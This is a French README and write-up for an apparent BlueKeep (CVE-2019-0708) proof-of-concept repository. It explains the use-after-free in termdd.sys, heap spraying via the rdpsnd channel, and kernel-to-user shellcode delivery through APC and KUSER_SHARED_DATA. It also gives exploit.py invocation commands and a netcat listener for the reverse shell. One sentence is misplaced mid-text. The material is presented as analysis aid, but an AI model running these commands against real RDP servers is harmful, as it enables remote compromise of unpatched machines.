
CVE-2019-0708 (BlueKeep) preuve de concept permettant une exécution de code à distance (RCE) pré-authentification sur Windows 7
Ce dépôt démontre le bug d'exécution de code à distance dans les services Remote Desktop Services (RDS) de Windows.
Voici un code POC et un rapport technique sur la vulnérabilité BlueKeep, que nous avons développés auparavant.
NOTE : Notre objectif est d'aider les analystes à mieux comprendre les vulnérabilités critiques.
Notre code d'exploit est écrit en Python 3 et repose sur la bibliothèque PyRDP. Veuillez les configurer en suivant le guide d'installation de PyRDP.
Actuellement, notre exploit cible et a été testé sur Windows 7 SP 1 (6.1.7601) x64 sur Virtual Box.
Si votre ordinateur a l'adresse IP 192.168.56.1 et que vous ciblez le serveur RDP à example.com:1234, tapez alors
$ python exploit.py example.com -rp 1234 192.168.56.1
Si le script exploite avec succès le serveur, un shellcode de connexion inverse initie une connexion TCP du serveur vers 192.168.56.1:4444. Par conséquent, par exemple, vous devez attendre la connexion avec netcat :
Ainsi, il y a beaucoup de choses à faire après avoir obtenu l'exécution de code arbitraire, bien que toutes ces choses puissent être résolues presque directement. Finalement, notre exploit a atteint son objectif.$ nc -v -l 4444
Si vous souhaitez modifier le numéro de port auquel le serveur se reconnecte, utilisez l'option -bp :
$ python exploit.py example.com -rp 1234 192.168.56.1 -bp 4567
En mai 2019, Microsoft a divulgué une vulnérabilité critique d'exécution de code à distance CVE-2019-0708, dans les services Remote Desktop Services (anciennement Terminal Services). Cette vulnérabilité est pré-authentification — ce qui signifie qu'elle est wormable, avec le potentiel de provoquer des perturbations généralisées. Un attaquant peut exploiter cette vulnérabilité en envoyant des messages Remote Desktop Protocol (RDP) spécialement conçus au serveur cible et obtenir une exécution de code arbitraire avec des privilèges administratifs.
Microsoft Remote Desktop Services permet à un utilisateur d'ouvrir des sessions Windows interactives à distance. Il présente le bureau Windows de l'utilisateur en communiquant avec le client utilisateur via le protocole Remote Desktop Protocol (RDP) sur le port 3389/TCP.
Le protocole RDP peut être amélioré par des extensions logicielles appelées Virtual Channel. Des exemples d'améliorations fonctionnelles pourraient inclure : le support de types spéciaux de matériel, l'audio, ou d'autres ajouts à la fonctionnalité de base.
Ces canaux incluent des canaux standard supposés par Microsoft tels que "rdpdr" (Redirection), "rdpsnd" (Son), "cliprdr" (Partage de presse-papiers) etc. Les utilisateurs peuvent écrire des modules en utilisant l'API RDP pour supporter d'autres canaux. En plus des canaux ci-dessus, Microsoft crée deux canaux par défaut : MS_T120 (utilisé pour RDP lui-même) et CTXTW (utilisé dans Citrix ICA).
La vulnérabilité est liée au processus de liaison des canaux virtuels de MS_T120 via la requête "MCS Connect Initial and GCC Create".
Plus d'informations sur le contexte sont disponibles sur ZDI.
Comme mentionné dans l'article de ZDI, tous les canaux virtuels demandés par le client sont créés en utilisant termdd!IcaCreateChannel(). Ensuite, les pointeurs vers ces structures de canal sont stockés dans une table, que nous appellerons ChannelPointerTable.
Lorsqu'une connexion est établie avec le client RDP, tous les canaux virtuels statiques, y compris MS_T120, sont initialisés en interne par le serveur RDP Windows et pointés par ChannelPointerTable.
La requête pour créer MS_T120 et CTXTW est émise par rdpcore!WDLIB_IcaVirtualQueryBindings().
Fig .1 : Génération de la requête pour la création de MS_T120 et CTXTW
Après que la requête soit passée à termdd!IcaBindVirtualChannels(), une structure de canal virtuel est créée dans termdd!IcaAllocateChannel() et enregistrée dans ChannelPointerTable.
Fig .2 : Création et enregistrement de la structure de canal virtuel
La routine de fonction termdd!IcaBindChannel() est responsable de l'enregistrement d'une structure de canal virtuel dans ChannelPointerTable.

Voici la trace de pile sur Windows 7 x64, lorsque termdd!IcaBindChannel() est appelée avec le premier argument "MS_T120" et le troisième argument 0x1f.
Fig .3 : MS_T1209 est lié à l'emplacement 0x1f lors de la requête initiale
Ensuite, ChannelPointerTable ressemble à ceci. Notez que MS_T120 est toujours présent dans l'emplacement 0x1F.
Fig .4 : ChannelPointerTable lors de la requête initiale
Une vulnérabilité de type use-after-free existe dans le pilote noyau RDP Windows, termdd.sys.
Le problème est que lorsque le client spécifie un canal avec le nom MS_T120\x00 lors de la requête "MCS Connect Initial and GCC Create", termdd!IcaCreateChannel() appelle termdd!IcaFindChannelByName() et renvoie la structure de canal MS_T120 existante dans l'emplacement 0x1F. Ensuite, cette structure de canal est considérée comme une nouvelle entrée de canal virtuel et stockée dans un autre emplacement (dans cet exemple, l'emplacement 2) lors de la requête "MCS Attach User Request".
Voici la trace de pile sur Windows 7 x64, lorsque termdd!IcaBindChannel() est appelée avec le premier argument "MS_T120" et le troisième argument 0x2.
Fig .5 : MS_T1209 est également lié à l'emplacement 0x2 lors de la requête d'attachement
En d'autres termes, la structure de canal MS_T120 est pointée par deux emplacements 0x1F et 0x2.
Fig .6 : ChannelPointerTable lors de la requête d'attachement
Si un attaquant envoie ensuite des données invalides dans le canal MS_T120, termdd.sys ferme le canal en utilisant termdd!IcaCloseChannel(), efface le pointeur à l'emplacement (l'emplacement 2 dans l'exemple).
Cependant, le même pointeur dans l'emplacement 0x1F n'est pas effacé.
Par la suite, lorsque la connexion se termine, RDPWD!HandleDisconnectProviderUlt() est invoquée, ce qui à son tour appelle termdd!IcaChannelInputInternal() et tente de détruire à nouveau la structure de canal libérée MS_T1209 en utilisant le pointeur à l'emplacement 0x1F. Une procédure de destruction est invoquée par le pointeur vtable dans la structure du canal. Cela conduit à une condition de use-after-free.
Fig .7 : Déréférencement de vtable
Comme expliqué dans la section précédente, RDPWD!HandleDisconnectProviderUlt() tente d'appeler une fonction à partir du pointeur vtable dans la structure de canal libérée. Si un attaquant peut contrôler les valeurs dans la structure de canal, il peut écraser le pointeur vtable, ce qui conduit à une exécution de code arbitraire avec des privilèges noyau.
Pour réaliser cela, cependant, il y a deux difficultés à surmonter.
L'une est comment contrôler les valeurs dans la structure de canal libérée en premier lieu. Pour cela, il est typique et fiable pour un attaquant d'allouer de la mémoire au même emplacement que celui de la structure libérée, car la vulnérabilité ciblée est un use-after-free.
Cependant, dans ce cas, il n'y a aucun moyen déterministe pour lui d'allouer sa mémoire à l'emplacement cible comme il le souhaite.
Cela est dû au fait que, dans le noyau, de nombreux threads s'exécutent et allouent de la mémoire (virtuellement) simultanément. L'emplacement où sa mémoire sera allouée dépend de l'ordre dans lequel les threads s'exécutent. Dans la quasi-totalité des cas, il ne peut pas être certain d'avoir réussi une allocation.


L'autre est où définir les adresses de la vtable et des pointeurs qu'elle contient. Comme vu dans la section précédente, un attaquant doit définir l'adresse de la vtable. Puisqu'il souhaite obtenir une exécution de code arbitraire, il doit définir l'adresse de sorte que la fausse vtable contienne l'adresse qu'il souhaite voir exécutée (par exemple, l'adresse d'un shellcode ou d'un gadget). Cependant, il ne peut presque certainement pas connaître une telle adresse appropriée en raison de l'aléatoire mentionné du tas noyau et de KASLR :
Ces faits signifient qu'un attaquant ne peut pas obtenir directement une exécution de code arbitraire même s'il peut contrôler le pointeur vtable, à moins d'utiliser une autre vulnérabilité qui fuite des adresses dans le noyau. De plus, comme vous pouvez le remarquer, "l'adresse d'un shellcode ou d'un gadget" est également quelque chose qu'un attaquant ne peut pas connaître.
Notre exploit traite ces obstacles par une seule technique : heap spraying. Le heap spraying est une méthode pour briser cet aléatoire, en effectuant un grand nombre d'allocations d'une grande quantité de mémoire.
Fig .8 : Utilisation du pool de tas avant le spraying
Fig .9 : Utilisation du pool de tas après le spraying
En répétant de nombreuses allocations fabriquées, un attaquant peut augmenter la probabilité qu'une partie de la mémoire allouée se situe à l'emplacement de la structure de canal libérée.
Si la majorité des objets dans le tas noyau sont ceux préparés par un attaquant, il peut alors même spécifier négligemment une adresse dans le tas comme adresse de la fausse vtable, car l'adresse spécifiée a de très fortes chances de pointer vers ses objets. Nous notons que l'adresse de base du tas noyau n'est pas randomisée par KASLR. Fondamentalement, l'aléatoire du tas provient uniquement de l'ordre d'exécution des threads.
Heureusement et surtout, dans Windows 7, le bit NX n'est pas activé dans le pool noyau non paginé. Cela signifie qu'un attaquant peut stocker dans le tas noyau, non seulement la fausse vtable, mais aussi un shellcode directement. Cela rend l'exploitation beaucoup plus facile car nous n'avons pas besoin d'utiliser la programmation orientée retour.
Fig .10 : Permission de l'entrée de table de pages (PTE)
Pour le heap spraying, évidemment un attaquant a besoin de la fonctionnalité lui permettant d'allouer de la mémoire dans le tas noyau et d'y fournir une entrée. Basé sur le rapport de Unit 42 et l'exploit BlueKeep dans Metasploit, nous avons recherché des pilotes noyau pour des routines offrant cette fonctionnalité. Nous avons testé de nombreuses PDU et avons finalement conclu que le moyen le plus fiable et utile est d'envoyer une PDU de canal virtuel vers le canal rdpsnd, comme le fait l'exploit de Metasploit. Pour référence, expliquons pourquoi nous n'avons pas pu adopter trois types de PDU introduits dans le rapport de Unit 42 :
La PDU de canal virtuel est, comme son nom l'indique, échangée entre le client et le serveur pour transporter des données vers les canaux virtuels statiques. Quant à la façon dont les données à l'intérieur de la PDU seront traitées, cela varie selon le canal. Parmi plusieurs canaux bien connus que Microsoft fournit comme extensions, le canal rdpsnd a la caractéristique unique de recevoir n'importe quelle entrée et d'allouer de la mémoire pour celle-ci. Étant donné que ce canal peut être utilisé par défaut dans Windows 7, nous pouvons simplement envoyer nos charges utiles pour le heap spraying.
Nous avons écrit une preuve de concept en gardant à l'esprit les points importants mentionnés ci-dessus, et avons réussi à obtenir une exécution de code arbitraire.
Fig .11 : Adresse de vtable contrôlée
Fig .12 : Réussite de l'écrasement de l'adresse de vtable par une adresse malveillante pointant vers un shellcode (ud2)
Bien que nous ayons décrit comment obtenir l'exécution d'un shellcode dans la section précédente, ce n'est pas tout. Le shellcode s'exécute dans l'espace noyau alors que ce qu'un attaquant souhaite, ce sont des privilèges administratifs dans "l'espace utilisateur". Ils sont théoriquement similaires dans ce qu'il peut faire avec, mais différents dans la manière dont il peut réaliser les actions qu'il souhaite. Par exemple, avec un shellcode, un attaquant peut avoir besoin d'écrire des centaines de lignes de code assembleur pour lister les fichiers dans un répertoire, alors qu'avec un shell privilégié, il peut simplement taper 'dir'.
Ainsi, le but de notre exploit est de fournir un shell privilégié à un attaquant, et cela nécessite des efforts supplémentaires. Puisque le shellcode est exécuté dans l'espace noyau, le shellcode doit d'abord trouver ou créer un thread d'espace utilisateur (privilégié), puis exécuter cmd.exe dans ce thread. Cette fois, nous devons considérer deux choses : comment trouver ou créer un thread, et comment allouer de la mémoire dans l'espace utilisateur pour exécuter le shellcode dans l'espace utilisateur.
La première question de trouver un thread d'espace utilisateur se pose car le contexte dans lequel le shellcode s'exécute n'est pas un contexte de processus normal. S'il s'exécute dans un contexte de processus, il peut simplement utiliser l'instruction IRET pour revenir à l'espace utilisateur. Cependant, dans ce cas, l'exécution de IRET provoque le gel du noyau. Il existe plusieurs façons de résoudre ce problème, mais parmi celles-ci, la méthode la plus générale et utile est l'appel de procédure asynchrone (APC), le mécanisme que Windows fournit pour le traitement des événements asynchrones. L'APC permet à un programme d'exécuter des fonctions dans un contexte de thread spécifié même d'un processus différent. Avec ce mécanisme, le shellcode peut facilement et légitimement créer un nouveau thread d'espace utilisateur.
Lors de l'enregistrement de l'APC, nous devons spécifier l'adresse à partir de laquelle un nouveau thread d'espace utilisateur commence son exécution. Cependant, jusqu'à présent, nous n'allouons de la mémoire que dans le tas noyau, ce qu'un thread d'espace utilisateur ne peut clairement pas accéder. Pour qu'un shellcode d'espace utilisateur soit exécuté, nous devons préparer un autre emplacement mémoire visible depuis l'espace utilisateur et y stocker le shellcode d'espace utilisateur. Ainsi, nous rencontrons la seconde question d'allouer de la mémoire dans l'espace utilisateur. Une façon possible et normale de traiter ce problème est de créer un nouveau mappage avec ZwAllocateVirtualMemory. C'est cependant un peu redondant, et il existe en fait un moyen plus simple dans Windows 7 : utiliser KUSER_SHARED_DATA. KUSER_SHARED_DATA est une structure de données stockée dans le mappage dédié, qui est mappé à la fois dans l'espace utilisateur et l'espace noyau, et se trouve à une adresse fixe (respectivement 0x7FFE0000 et 0xFFFFF78000000000). C'est une fonctionnalité similaire à vsyscall sous Linux. Si nous stockons le shellcode d'espace utilisateur dans ce mappage, tout se passe bien : le shellcode d'espace noyau peut copier le shellcode d'espace utilisateur dans ce mappage, et enregistrer l'APC sans difficulté puisqu'il connaît l'adresse du mappage.
Fig .13 : Le shellcode est stocké dans le mappage dédié, 0x7FFE0000 (mode utilisateur) et 0xFFFFF78000000000 (mode noyau)
Fig .14 : Un corps de shellcode
Cette vulnérabilité s'est vu attribuer un numéro CVE, CVE-2019-0708. Microsoft a déjà publié un correctif de sécurité KB4499175 le 15/05/2019.
Vous pouvez voir plus de détails sur la vulnérabilité, la version affectée et l'atténuation ici.
Ce projet a été partiellement soutenu par Advanced Technology Lab, Recruit Co., Ltd.
